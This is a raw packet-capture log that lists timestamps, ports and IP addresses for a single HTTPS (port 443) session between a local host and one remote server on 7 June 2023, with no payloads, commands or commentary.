Jun 7, 2023 17:08:48.627516031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627516031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627516031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627516031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627516031 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627537012 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.627556086 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627669096 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.627705097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627705097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627705097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627705097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627705097 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627722979 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.627897024 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.627908945 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.628086090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628086090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628086090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628087044 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628087044 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628106117 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.628115892 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.628281116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628281116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628281116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628281116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628281116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628281116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628281116 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628300905 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.628446102 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.628472090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628472090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628472090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628472090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628472090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628472090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628472090 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628493071 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.628622055 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628622055 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628622055 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628622055 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628622055 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628629923 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.628809929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628809929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628809929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628809929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628809929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.628823996 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.628834963 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629004002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629004002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629004002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629004002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629004002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629004002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629021883 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629040003 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629194021 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629194975 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629194975 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629209042 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629220009 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629230976 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629262924 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629272938 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629456997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629456997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629456997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629456997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629456997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629456997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629456997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629456997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629472017 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629484892 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629489899 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629489899 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629489899 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629489899 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629489899 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629646063 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629656076 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629837990 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629837990 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629837990 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629838943 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629838943 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629838943 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629838943 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629838943 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.629853010 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629864931 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.629868984 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630028009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630028009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630028009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630028009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630028009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630028009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630028009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630028009 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630040884 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630053997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630053997 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630135059 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630218983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630218983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630218983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630218983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630218983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630218983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630218983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630218983 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630237103 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630312920 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630476952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630476952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630476952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630476952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630476952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630476952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630476952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630476952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630498886 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630512953 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630512953 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630512953 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630515099 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630522966 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630671978 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630671978 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630671978 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630671978 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630686998 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630696058 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630705118 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630863905 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630863905 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630863905 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630863905 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630863905 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630863905 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630863905 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630863905 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630882978 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630886078 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630892038 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.630929947 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630929947 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630929947 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630929947 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.630944967 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.631125927 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631125927 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631125927 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631125927 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631127119 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631127119 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631143093 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.631156921 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.631314039 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631314039 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631314039 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631314039 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631325960 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.631361008 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631361008 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631361008 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631361008 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631361008 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631438971 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.631540060 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631540060 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631541014 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631541014 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631555080 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.631731987 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631731987 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631731987 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631731987 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631731987 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631731987 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631731987 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631731987 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631747007 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.631758928 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631762981 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.631974936 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631974936 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631975889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631975889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631975889 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.631992102 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.632008076 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.632164955 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632178068 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.632190943 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.632267952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632267952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632267952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632267952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632267952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632267952 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632282019 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.632430077 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632430077 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632430077 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632430077 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632430077 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632430077 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632447004 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.632456064 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.632612944 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632612944 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632612944 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632612944 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632612944 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632628918 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.632843971 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632843971 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632843971 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632843971 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632843971 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632843971 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632843971 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.632855892 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.633028984 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.633215904 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653392076 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.653407097 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.653456926 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.653510094 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.653669119 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.653734922 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653734922 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653734922 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653734922 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653734922 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653734922 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653736115 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653736115 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653767109 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653767109 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653767109 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653768063 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653770924 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.653927088 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653927088 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653928041 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653928041 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653928041 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653928041 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653928041 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653928041 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653934956 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.653949022 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.653949022 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654007912 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.654119015 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654119015 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654119015 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654119015 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654119015 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654119015 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654119015 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654119015 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654145002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654145002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654309988 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654309988 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654309988 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654309988 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654309988 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654309988 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654309988 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654336929 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.654503107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654503107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654503107 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654504061 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654504061 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654504061 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654504061 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654504061 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654532909 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654540062 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.654696941 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654696941 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654696941 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654696941 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654696941 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654696941 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654696941 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654742002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654742002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654742002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654936075 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654936075 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654936075 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654937029 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654937029 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654937029 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654937029 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654937029 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654954910 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.654970884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654970884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654970884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.654970884 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655128002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655128002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655128002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655128002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655128002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655128002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655128002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655128002 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655153036 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.655319929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655319929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655319929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655319929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655319929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655319929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655319929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655319929 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655349016 CEST	443	49823	185.199.110.153	192.168.11.20
Jun 7, 2023 17:08:48.655358076 CEST	49823	443	192.168.11.20	185.199.110.153
Jun 7, 2023 17:08:48.655560970 CEST	49823	443	192.168.11.20	185.199.110.153
